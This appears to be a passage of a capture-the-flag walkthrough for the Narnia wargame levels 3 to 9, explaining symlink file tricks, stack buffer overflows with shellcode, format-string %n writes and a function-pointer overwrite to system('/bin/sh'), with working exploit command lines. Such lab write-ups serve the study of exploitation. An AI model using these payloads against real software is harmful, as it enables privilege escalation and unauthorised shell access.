<p>In this level we have to manage files by giving it a file to read from <code class="language-plaintext highlighter-rouge">ifile</code>, which will then send it to the file <code class="language-plaintext highlighter-rouge">ofile</code>. Immediatly I can see that we can set both <code class="language-plaintext highlighter-rouge">ofile</code> and <code class="language-plaintext highlighter-rouge">ifile</code> by a buffer overflow, since the input relies on the <code class="language-plaintext highlighter-rouge">strcpy()</code> function, though both files need to be valid. The buffer array is not that important as it just copies the contents of the input file to it, but there is a size limit of 32 bytes (which isn’t really important for us).</p>

<p>As a test, I ran the program with various input sizes to see if the error messages change.</p>

<p><img src="/assets/posts/narnia_3_error.png" alt="Overflow test" /></p>

<p>At less than 32 characters, it will print out the input file it fails to access. At 32 or more, however, it will print out the failed output file, since it overwrites the <code class="language-plaintext highlighter-rouge">/dev/null</code> it was set to by default.</p>

<p>However, there is another caveat with doing a buffer overflow on two strings like this. Since strings in C are null-terminated (they end as soon as a 0x00 character is found), the actual filename put into <code class="language-plaintext highlighter-rouge">ifile</code> will keep going past <code class="language-plaintext highlighter-rouge">ofile</code>, including it in the end of it’s string. So that means we have to somewhat share filenames with the two.</p>

<p><img src="/assets/posts/narnia_3_files.png" alt="How variables will look like" /></p>

<p>I decided to create a subdirectory on <code class="language-plaintext highlighter-rouge">/tmp/</code>, with a name that is 32 minus 5 characters long, because it’s the best way we can create two files with the same name, which we can use for both the input file and output file.</p>

<p>In the subdirectory, I created another subdirectory called <code class="language-plaintext highlighter-rouge">tmp</code> so that it can be compatible with our output. In order to make our exploit work, I would need to create a symlink inside it that points to the actual narnia4 password file using <code class="language-plaintext highlighter-rouge">ln -s</code>. This will be our input file.</p>

<p>For our output file, we can create an empty file on <code class="language-plaintext highlighter-rouge">/tmp/</code> that is named the same as the input file.</p>

<p>With our two files ready, we can now run the executable, using the full directory path of the input file. This will then read the password of narnia4 and write it to the output file. Cat it and you’ve got your password.</p>

<h3 id="level-4">Level 4</h3>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">...</span>
<span class="k">extern</span> <span class="kt">char</span> <span class="o">**</span><span class="n">environ</span><span class="p">;</span>

<span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span><span class="kt">char</span> <span class="o">**</span><span class="n">argv</span><span class="p">){</span>
    <span class="kt">int</span> <span class="n">i</span><span class="p">;</span>
    <span class="kt">char</span> <span class="n">buffer</span><span class="p">[</span><span class="mi">256</span><span class="p">];</span>

    <span class="k">for</span><span class="p">(</span><span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">environ</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">!=</span> <span class="nb">NULL</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span>
        <span class="n">memset</span><span class="p">(</span><span class="n">environ</span><span class="p">[</span><span class="n">i</span><span class="p">],</span> <span class="sc">'\0'</span><span class="p">,</span> <span class="n">strlen</span><span class="p">(</span><span class="n">environ</span><span class="p">[</span><span class="n">i</span><span class="p">]));</span>

    <span class="k">if</span><span class="p">(</span><span class="n">argc</span><span class="o">&gt;</span><span class="mi">1</span><span class="p">)</span>
        <span class="n">strcpy</span><span class="p">(</span><span class="n">buffer</span><span class="p">,</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">]);</span>
    <span class="p">...</span>
</code></pre></div></div>

<p>This is very similar to Level 2, in which we have a buffer that <code class="language-plaintext highlighter-rouge">strcpy()</code> writes to, and there isn’t really anything meaningful happening in the program itself. Instead of 128 bytes, we have 260 bytes (256 chars + 1 int) to work with, which means the input in total would need to be 268 characters long.</p>

<p>The process to solving this is the exact same as Level 2, down to the same commands. You would just need to change the amount of NOP instructions to 231. You might not need to change the return address, as the doubling of space would make it easier to not segfault.</p>

<h3 id="level-5">Level 5</h3>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span> <span class="o">**</span><span class="n">argv</span><span class="p">){</span>
        <span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
        <span class="kt">char</span> <span class="n">buffer</span><span class="p">[</span><span class="mi">64</span><span class="p">];</span>

        <span class="n">snprintf</span><span class="p">(</span><span class="n">buffer</span><span class="p">,</span> <span class="k">sizeof</span> <span class="n">buffer</span><span class="p">,</span> <span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">]);</span>
        <span class="n">buffer</span><span class="p">[</span><span class="k">sizeof</span> <span class="p">(</span><span class="n">buffer</span><span class="p">)</span> <span class="o">-</span> <span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
        <span class="n">printf</span><span class="p">(</span><span class="s">"Change i's value from 1 -&gt; 500. "</span><span class="p">);</span>

        <span class="k">if</span><span class="p">(</span><span class="n">i</span><span class="o">==</span><span class="mi">500</span><span class="p">){</span>
                <span class="n">printf</span><span class="p">(</span><span class="s">"GOOD</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
        <span class="n">setreuid</span><span class="p">(</span><span class="n">geteuid</span><span class="p">(),</span><span class="n">geteuid</span><span class="p">());</span>
                <span class="n">system</span><span class="p">(</span><span class="s">"/bin/sh"</span><span class="p">);</span>
        <span class="p">}</span>

        <span class="n">printf</span><span class="p">(</span><span class="s">"No way...let me give you a hint!</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
        <span class="n">printf</span><span class="p">(</span><span class="s">"buffer : [%s] (%d)</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">buffer</span><span class="p">,</span> <span class="n">strlen</span><span class="p">(</span><span class="n">buffer</span><span class="p">));</span>
        <span class="n">printf</span> <span class="p">(</span><span class="s">"i = %d (%p)</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">i</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">i</span><span class="p">);</span>
        <span class="p">...</span>
</code></pre></div></div>

<p>The program wants us to change <code class="language-plaintext highlighter-rouge">i</code> to 500 in order to get into the shell. Unlike the previous levels, we cannot use buffer overflow here, because it uses <code class="language-plaintext highlighter-rouge">snprintf()</code> which takes account of the size of the buffer array, and the last character in our input is removed. This means that, no matter how big your imput is, it will only write the first 63 characters.</p>

<p>Another thing I noticed is that it gives you a hint if you get it wrong. It only prints our what you put in the buffer, the string length, and the value and memory address of <code class="language-plaintext highlighter-rouge">i</code>. I wasn’t sure what to do with these values, but then I realized they were trying to hint us about the format strings themselves. Perhaps a potential format string vulnerability?</p>

<p>Since <code class="language-plaintext highlighter-rouge">snprintf</code> is a print function that support format strings, we can supply it with any format specifier that we would normally use in a print function in C. The vulnurability here comes from how it lets us provide the string directly from our input. You can test it yourself by adding something like <code class="language-plaintext highlighter-rouge">%p</code> in your input, and it’ll provide a hex representation of whatever’s in memory near the stack.</p>

<p>This will be tricky though since we can’t directly give the parameters. Without them, it seems that format strings will just read directly from the next 4 bytes in the stack memory. Luckily for us, the <code class="language-plaintext highlighter-rouge">snprintf()</code> function handling it comes right after the <code class="language-plaintext highlighter-rouge">buffer</code> array, where our input gets placed. So in theory, we can set our parameters for our format strings, by setting 4+ characters at the front.</p>

<p>You can test this out by doing something like <code class="language-plaintext highlighter-rouge">./narnia5 "AAAABBBBCCCC %x %x %x"</code>. Doing this will print the hex representations of the 12 starting characters.</p>

<p>While this is useful for getting info out of the stack, what we want to do is write info, not read it. Funnily enough, the program already gives us the memory address of <code class="language-plaintext highlighter-rouge">i</code>, so we just need to write it down. In my case, it is 0xffffd390, but be warned that it may change occasionally.</p>

<p>I found a few things that could be useful:</p>

<ul>
  <li>You can “pad” format specifiers by adding a number after the % symbol, which will give them a minimum length. For example, <code class="language-plaintext highlighter-rouge">%5d</code> will print an integer, but it will pad out the front with empty spaces if the number is less than 5 digits.</li>
  <li>There is actually at least one format specificer that WRITES to memory instead of reading it. <code class="language-plaintext highlighter-rouge">%n</code> does not print anything, but if given a pointer, it will write to it the length of the string that the print function has finished parsing so far. For some reason, it does not stop when it cannot write anymore.</li>
</ul>

<p>Because of these, we can write the value of 500 to <code class="language-plaintext highlighter-rouge">i</code>. To do this we only need to use the specifiers <code class="language-plaintext highlighter-rouge">%d</code> (or anything that reads 4 bytes) and <code class="language-plaintext highlighter-rouge">%n</code>. The <code class="language-plaintext highlighter-rouge">%d</code> will help us use the padding format in order to get a string that is 500 characters, and the <code class="language-plaintext highlighter-rouge">%n</code> will write that length at the very end. The two of these will need 8 bytes at the start of the input, so the padding will be <code class="language-plaintext highlighter-rouge">%492d</code>.</p>

<p>As for the 8 bytes, the first 4 can just be any random junk value. The next 4 will be the memory address for <code class="language-plaintext highlighter-rouge">i</code> that we got previously, in little endian format of course.</p>

<p>Once we put that together, we can get our input string that’s small enough to work.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>./narnia5 <span class="sb">`</span><span class="nb">echo</span> <span class="nt">-e</span> <span class="s2">"test</span><span class="se">\x</span><span class="s2">90</span><span class="se">\x</span><span class="s2">d3</span><span class="se">\x</span><span class="s2">ff</span><span class="se">\x</span><span class="s2">ff%492d%n"</span><span class="sb">`</span>
</code></pre></div></div>

<h3 id="level-6">Level 6</h3>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">...</span>
<span class="k">extern</span> <span class="kt">char</span> <span class="o">**</span><span class="n">environ</span><span class="p">;</span>

<span class="kt">unsigned</span> <span class="kt">long</span> <span class="nf">get_sp</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span> <span class="p">{</span>
       <span class="n">__asm__</span><span class="p">(</span><span class="s">"movl %esp,%eax</span><span class="se">\n\t</span><span class="s">"</span>
               <span class="s">"and $0xff000000, %eax"</span><span class="p">);</span>
<span class="p">}</span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span><span class="n">argv</span><span class="p">[]){</span>
        <span class="kt">char</span> <span class="n">b1</span><span class="p">[</span><span class="mi">8</span><span class="p">],</span> <span class="n">b2</span><span class="p">[</span><span class="mi">8</span><span class="p">];</span>
        <span class="kt">int</span>  <span class="p">(</span><span class="o">*</span><span class="n">fp</span><span class="p">)(</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="o">=</span><span class="p">(</span><span class="kt">int</span><span class="p">(</span><span class="o">*</span><span class="p">)(</span><span class="kt">char</span> <span class="o">*</span><span class="p">))</span><span class="o">&amp;</span><span class="n">puts</span><span class="p">,</span> <span class="n">i</span><span class="p">;</span>

        <span class="k">if</span><span class="p">(</span><span class="n">argc</span><span class="o">!=</span><span class="mi">3</span><span class="p">){</span> <span class="n">printf</span><span class="p">(</span><span class="s">"%s b1 b2</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">argv</span><span class="p">[</span><span class="mi">0</span><span class="p">]);</span> <span class="n">exit</span><span class="p">(</span><span class="o">-</span><span class="mi">1</span><span class="p">);</span> <span class="p">}</span>

        <span class="cm">/* clear environ */</span>
        <span class="k">for</span><span class="p">(</span><span class="n">i</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span> <span class="n">environ</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">!=</span> <span class="nb">NULL</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span>
                <span class="n">memset</span><span class="p">(</span><span class="n">environ</span><span class="p">[</span><span class="n">i</span><span class="p">],</span> <span class="sc">'\0'</span><span class="p">,</span> <span class="n">strlen</span><span class="p">(</span><span class="n">environ</span><span class="p">[</span><span class="n">i</span><span class="p">]));</span>
        <span class="cm">/* clear argz    */</span>
        <span class="k">for</span><span class="p">(</span><span class="n">i</span><span class="o">=</span><span class="mi">3</span><span class="p">;</span> <span class="n">argv</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">!=</span> <span class="nb">NULL</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span>
                <span class="n">memset</span><span class="p">(</span><span class="n">argv</span><span class="p">[</span><span class="n">i</span><span class="p">],</span> <span class="sc">'\0'</span><span class="p">,</span> <span class="n">strlen</span><span class="p">(</span><span class="n">argv</span><span class="p">[</span><span class="n">i</span><span class="p">]));</span>

        <span class="n">strcpy</span><span class="p">(</span><span class="n">b1</span><span class="p">,</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">]);</span>
        <span class="n">strcpy</span><span class="p">(</span><span class="n">b2</span><span class="p">,</span><span class="n">argv</span><span class="p">[</span><span class="mi">2</span><span class="p">]);</span>
        <span class="c1">//if(((unsigned long)fp &amp; 0xff000000) == 0xff000000)</span>
        <span class="k">if</span><span class="p">(((</span><span class="kt">unsigned</span> <span class="kt">long</span><span class="p">)</span><span class="n">fp</span> <span class="o">&amp;</span> <span class="mh">0xff000000</span><span class="p">)</span> <span class="o">==</span> <span class="n">get_sp</span><span class="p">())</span>
                <span class="n">exit</span><span class="p">(</span><span class="o">-</span><span class="mi">1</span><span class="p">);</span>
        <span class="n">setreuid</span><span class="p">(</span><span class="n">geteuid</span><span class="p">(),</span><span class="n">geteuid</span><span class="p">());</span>
    <span class="n">fp</span><span class="p">(</span><span class="n">b1</span><span class="p">);</span>
    <span class="p">...</span>
</code></pre></div></div>

<p>Breaking down the code, we can see:</p>

<ol>
  <li>The code wants 2 arguments, and uses <code class="language-plaintext highlighter-rouge">strcpy()</code> to put them into two 8-character arrays. This means we can buffer overflow here.</li>
  <li>It clears environment variables and extra arguments, but I suspect this is only here to prevent unintended solutions or server attacks.</li>
  <li>The program exits early if <code class="language-plaintext highlighter-rouge">fp</code> points to somewhere at the top of the stack. Since it runs without error, that means that it gets called to somewhere far below the memory.</li>
  <li><code class="language-plaintext highlighter-rouge">fp(b1)</code> is called. Apparantly it is used as a function pointer, and currently only runs <code class="language-plaintext highlighter-rouge">puts(b1)</code>, so it only prints the first argument.</li>
</ol>

<p>We cannot use a shellcode attack like the ones we used in previous levels. This is because we have fewer bytes to store info on, and the program will not let us run code that is on stack memory.</p>

<p>At first glance, it seems that you cannot write over the function pointer <code class="language-plaintext highlighter-rouge">fp</code> because it is declared right after <code class="language-plaintext highlighter-rouge">b1</code> and <code class="language-plaintext highlighter-rouge">b2</code>, which mean that a buffer overflow wouldn’t change it’s value. However, it turns out that <code class="language-plaintext highlighter-rouge">fp</code> on the stack is actually right below <code class="language-plaintext highlighter-rouge">b1</code>, so we are able to overwrite it by overflowing that char array. I was able to confirm this by running this C code:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
</span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">(){</span>
    <span class="kt">char</span> <span class="n">b1</span><span class="p">[</span><span class="mi">8</span><span class="p">],</span> <span class="n">b2</span><span class="p">[</span><span class="mi">8</span><span class="p">];</span>
    <span class="kt">int</span>  <span class="p">(</span><span class="o">*</span><span class="n">fp</span><span class="p">)(</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="o">=</span><span class="p">(</span><span class="kt">int</span><span class="p">(</span><span class="o">*</span><span class="p">)(</span><span class="kt">char</span> <span class="o">*</span><span class="p">))</span><span class="o">&amp;</span><span class="n">puts</span><span class="p">,</span> <span class="n">i</span><span class="p">;</span>

    <span class="n">printf</span><span class="p">(</span><span class="s">"Addr b1: %p</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="p">(</span><span class="kt">void</span> <span class="o">*</span><span class="p">)</span><span class="n">b1</span><span class="p">);</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"Addr b2: %p</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="p">(</span><span class="kt">void</span> <span class="o">*</span><span class="p">)</span><span class="n">b2</span><span class="p">);</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"Addr fp: %p</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="p">(</span><span class="kt">void</span> <span class="o">*</span><span class="p">)</span><span class="o">&amp;</span><span class="n">fp</span><span class="p">);</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"Addr i:  %p</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="p">(</span><span class="kt">void</span> <span class="o">*</span><span class="p">)</span><span class="o">&amp;</span><span class="n">i</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Reading the addresses confirms that the stack memory goes like this, from lowest to highest: <code class="language-plaintext highlighter-rouge">i &lt;- fp &lt;- b1 &lt;- b2</code>. I’m not sure why this is, but my guess is some kind of compiler optimization involving arrays.</p>

<p>Anyways, how are we supposed to replace <code class="language-plaintext highlighter-rouge">fp</code>? Since it’s pointing to an existing function <code class="language-plaintext highlighter-rouge">puts()</code>, we can possibly try to replace it with another library function that could give us shell access, and with input that is 8 characters or smaller. Luckily, the program includes the <code class="language-plaintext highlighter-rouge">&lt;stdlib.h&gt;</code> library, which includes the <code class="language-plaintext highlighter-rouge">system()</code> function to run any command, including the shell.</p>

<p>We can use GDB to easily find the memory locations to standard library functions. We can do <code class="language-plaintext highlighter-rouge">gdb ./narnia6</code>, run the program (to load up the libraries), then use the print command to get the memory address of the function: <code class="language-plaintext highlighter-rouge">p system</code>. In my case, it was displayed in blue font as 0xf7dce450. As you can notice, it does not end in 0xff so it will not exit early.</p>

<p>Now that we have that, we need to overflow two arguments in order to run our exploit. The first one, which overflows <code class="language-plaintext highlighter-rouge">b1</code>, will be used to overwrite <code class="language-plaintext highlighter-rouge">fp</code> with the memory address of <code class="language-plaintext highlighter-rouge">system()</code> that we just obtained. The second argument will overflow <code class="language-plaintext highlighter-rouge">b2</code> to overwrite <code class="language-plaintext highlighter-rouge">b1</code> with <code class="language-plaintext highlighter-rouge">/bin/sh</code> to run the shell. Unfortunately we can’t do this in one argument because of null character issues.</p>

<p>Since each buffer is only 8 bytes long, we just need an 8-letter word to overflow both with…</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>./narnia6 <span class="sb">`</span><span class="nb">echo</span> <span class="nt">-e</span> <span class="s2">"deadbeef</span><span class="se">\x</span><span class="s2">50</span><span class="se">\x</span><span class="s2">e4</span><span class="se">\x</span><span class="s2">dc</span><span class="se">\x</span><span class="s2">f7"</span><span class="sb">`</span> deadbeef/bin/sh
</code></pre></div></div>

<h3 id="level-7">Level 7</h3>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">...</span>
<span class="kt">int</span> <span class="nf">vuln</span><span class="p">(</span><span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">format</span><span class="p">){</span>
        <span class="kt">char</span> <span class="n">buffer</span><span class="p">[</span><span class="mi">128</span><span class="p">];</span>
        <span class="kt">int</span> <span class="p">(</span><span class="o">*</span><span class="n">ptrf</span><span class="p">)();</span>

        <span class="n">memset</span><span class="p">(</span><span class="n">buffer</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">buffer</span><span class="p">));</span>
        <span class="n">printf</span><span class="p">(</span><span class="s">"goodfunction() = %p</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">goodfunction</span><span class="p">);</span>
        <span class="n">printf</span><span class="p">(</span><span class="s">"hackedfunction() = %p</span><span class="se">\n\n</span><span class="s">"</span><span class="p">,</span> <span class="n">hackedfunction</span><span class="p">);</span>

        <span class="n">ptrf</span> <span class="o">=</span> <span class="n">goodfunction</span><span class="p">;</span>
        <span class="n">printf</span><span class="p">(</span><span class="s">"before : ptrf() = %p (%p)</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">ptrf</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">ptrf</span><span class="p">);</span>

        <span class="n">printf</span><span class="p">(</span><span class="s">"I guess you want to come to the hackedfunction...</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
        <span class="n">sleep</span><span class="p">(</span><span class="mi">2</span><span class="p">);</span>
        <span class="n">ptrf</span> <span class="o">=</span> <span class="n">goodfunction</span><span class="p">;</span>

        <span class="n">snprintf</span><span class="p">(</span><span class="n">buffer</span><span class="p">,</span> <span class="k">sizeof</span> <span class="n">buffer</span><span class="p">,</span> <span class="n">format</span><span class="p">);</span>

        <span class="k">return</span> <span class="n">ptrf</span><span class="p">();</span>
<span class="p">}</span>

<span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span> <span class="o">**</span><span class="n">argv</span><span class="p">){</span>
        <span class="k">if</span> <span class="p">(</span><span class="n">argc</span> <span class="o">&lt;=</span> <span class="mi">1</span><span class="p">){</span>
                <span class="n">fprintf</span><span class="p">(</span><span class="n">stderr</span><span class="p">,</span> <span class="s">"Usage: %s &lt;buffer&gt;</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">argv</span><span class="p">[</span><span class="mi">0</span><span class="p">]);</span>
                <span class="n">exit</span><span class="p">(</span><span class="o">-</span><span class="mi">1</span><span class="p">);</span>
        <span class="p">}</span>
        <span class="n">exit</span><span class="p">(</span><span class="n">vuln</span><span class="p">(</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">]));</span>
<span class="p">}</span>

<span class="kt">int</span> <span class="nf">goodfunction</span><span class="p">(){</span>
        <span class="n">printf</span><span class="p">(</span><span class="s">"Welcome to the goodfunction, but i said the Hackedfunction..</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
        <span class="n">fflush</span><span class="p">(</span><span class="n">stdout</span><span class="p">);</span>

        <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>

<span class="kt">int</span> <span class="nf">hackedfunction</span><span class="p">(){</span>
        <span class="n">printf</span><span class="p">(</span><span class="s">"Way to go!!!!"</span><span class="p">);</span>
            <span class="n">fflush</span><span class="p">(</span><span class="n">stdout</span><span class="p">);</span>
        <span class="n">setreuid</span><span class="p">(</span><span class="n">geteuid</span><span class="p">(),</span><span class="n">geteuid</span><span class="p">());</span>
        <span class="n">system</span><span class="p">(</span><span class="s">"/bin/sh"</span><span class="p">);</span>

        <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Wow that’s probably the longest code we’ve seen here so far.</p>

<p>This program will run <code class="language-plaintext highlighter-rouge">goodfunction()</code> and does nothing with our input, except placing it in an array with the <code class="language-plaintext highlighter-rouge">snprintf()</code> function. We need to instead be able to run <code class="language-plaintext highlighter-rouge">hackedfunction()</code>. It also outputs the memory addresses of both functions, as well as the address and value of <code class="language-plaintext highlighter-rouge">ptrf</code>, the function pointer being called.</p>

<p><img src="narnia_7_test.png" alt="Our address and values for variables" /></p>

<p>Previously we used <code class="language-plaintext highlighter-rouge">snprintf()</code> to run a format string attack in Level 5. We can use the same idea in order to change the value of <code class="language-plaintext highlighter-rouge">ptrf</code> to the memory address of the hacked function, so we will be able to run it. We already have its memory address at 0xffffd2c8, and the value to change it to is 0x804930f (134517519).</p>

<p>We can use the same method we discussed on level 5. However, I’ve had to refine my format string a few times in order to stop segfaults, and eventually I removed the junk values on the first 4 letters in order for it to work. So our final input looks something like <code class="language-plaintext highlighter-rouge">\xc8\xd2\xff\xff%134517515d%n</code>. I’m not entirely sure why this was necessary here, but not on level 5.</p>

<p>Intriguing how the two levels have somewhat unique solutions for writing to memory, despite being so similar. Format strings just get weirder and weirder.</p>

<h3 id="level-8">Level 8</h3>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">...</span>
<span class="kt">int</span> <span class="n">i</span><span class="p">;</span>

<span class="kt">void</span> <span class="nf">func</span><span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="n">b</span><span class="p">){</span>
        <span class="kt">char</span> <span class="o">*</span><span class="n">blah</span><span class="o">=</span><span class="n">b</span><span class="p">;</span>
        <span class="kt">char</span> <span class="n">bok</span><span class="p">[</span><span class="mi">20</span><span class="p">];</span>
        <span class="c1">//int i=0;</span>

        <span class="n">memset</span><span class="p">(</span><span class="n">bok</span><span class="p">,</span> <span class="sc">'\0'</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">bok</span><span class="p">));</span>
        <span class="k">for</span><span class="p">(</span><span class="n">i</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span> <span class="n">blah</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">!=</span> <span class="sc">'\0'</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span>
                <span class="n">bok</span><span class="p">[</span><span class="n">i</span><span class="p">]</span><span class="o">=</span><span class="n">blah</span><span class="p">[</span><span class="n">i</span><span class="p">];</span>

        <span class="n">printf</span><span class="p">(</span><span class="s">"%s</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="n">bok</span><span class="p">);</span>
<span class="p">}</span>

<span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span> <span class="o">**</span><span class="n">argv</span><span class="p">){</span>
        <span class="k">if</span><span class="p">(</span><span class="n">argc</span> <span class="o">&gt;</span> <span class="mi">1</span><span class="p">)</span>
                <span class="n">func</span><span class="p">(</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">]);</span>
        <span class="k">else</span>
        <span class="n">printf</span><span class="p">(</span><span class="s">"%s argument</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">argv</span><span class="p">[</span><span class="mi">0</span><span class="p">]);</span>

        <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>The function <code class="language-plaintext highlighter-rouge">func()</code> will write to the <code class="language-plaintext highlighter-rouge">bok</code> array by traversing the entire string we provide in the argument. This means we can do a buffer overflow attack, possibly by supplying the shellcode we’ve used in previous levels and overwriting the return address.</p>

<p>However there is one caveat- if we overflow <code class="language-plaintext highlighter-rouge">bok</code>, it will overwrite the pointer <code class="language-plaintext highlighter-rouge">blah</code>, which will make the function copy from a random area in memory instead of our input. So we need a way to re-supply that memory address.</p>

<p>To do this, we need to examine the stack memory when <code class="language-plaintext highlighter-rouge">func()</code> is being called, and see the values of the two variables. I ran GDB with the executable, then set up a breakpoint near the end before the stack pointer goes back to main. This will pause the program when we run it so that we can examine it in-place.</p>

<p>Run <code class="language-plaintext highlighter-rouge">disass func</code> to visualize the assembly code, then <code class="language-plaintext highlighter-rouge">b *func+&lt;NUM&gt;</code> to set the breakpoint. I set it to 110.</p>

<p><img src="/assets/posts/narnia_8_bp.png" alt="GDB breakpoint" /></p>

<p>With that set up, we can test the program with input of various length. Here’s one that I ran with <code class="language-plaintext highlighter-rouge">r hello</code>, then got the memory by doing <code class="language-plaintext highlighter-rouge">x/16xw $esp</code>:</p>

<p><img src="/assets/posts/narnia_8_mem.png" alt="Memory addresses" /></p>

<p>I’ve highlighted above the values for our input that is held by <code class="language-plaintext highlighter-rouge">blah</code>. You can tell by the trail of zeroes that were memsetted beforehand. We do not need to worry about the 2nd value, but it can be useful for debugging. As you might notice, the value changes depending on how long our argument is, so we need to decrease it as we add more letters to it.</p>

<p>With 5 letters our value is 0xffffd577. With 20, we would have to decrease the last digits to 0x68. And if we want to actually set the pointer, it would then be 0x64. We can confirm this by checking the memory being written and if the two memory values match (refer to the previous image), as there’s no valuable hints being shown by the print statement.</p>

<p>Here’s some statments that worked for me:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>r `echo -e "hellohellohellohello\x64\xd5\xff\xff"`
r `echo -e "hellohellohellohello\x60\xd5\xff\xffAAAA"`
r `echo -e "hellohellohellohello\x5c\xd5\xff\xffAAAABBBB"`
</code></pre></div></div>

<p>Now if we account that for the 33-byte shellcode, it would be <code class="language-plaintext highlighter-rouge">r `echo -e "hellohellohellohello\x3b\xd5\xff\xffAAAABBBB"`</code></p>

<p>The <code class="language-plaintext highlighter-rouge">AAAA</code> here previously held our frame pointer, which isn’t useful to us, so we can put any random value on it. The <code class="language-plaintext highlighter-rouge">BBBB</code> will be replaced by our own return address. Since we’re providing the shellcode in our argument, we need to get the address that goes directly to it. Luckily, we have our pointer value right here, so we can just push it 32(0x20) letters forward. That would make our return address as 0xffffd55b.</p>

<p>And finally, we can append the entire shellcode to the back of our input. This isn’t entirely safe because it relies on overwriting random memory values that the program might use, but I wouldn’t care in this situation. Our command would then be <code class="language-plaintext highlighter-rouge">r `echo -e "hellohellohellohello\x3b\xd5\xff\xffAAAA\x5b\xd5\xff\xff\x6a...\x80"`</code>.</p>

<p>If we run it, we will be able to get the shell, however GDB is preventing us from accessing as the next user. We need to exit it and… damn. We need to re-calculate the memory values again. To do this we can use the <code class="language-plaintext highlighter-rouge">xxd</code> command to examine the values that get printed out if we overflow the buffer to 20 characters:</p>

<p><img src="/assets/posts/narnia_8_xxd.png" alt="Memory addresses without gdb" /></p>

<p>Great, we’ve got the address at 0xffffd581. Now we’d need to adjust it and the return address to the rest of our input size. You can do this part yourself :)</p>

<h3 id="level-9">Level 9</h3>

<p>There’s nothing to do here for now.</p>

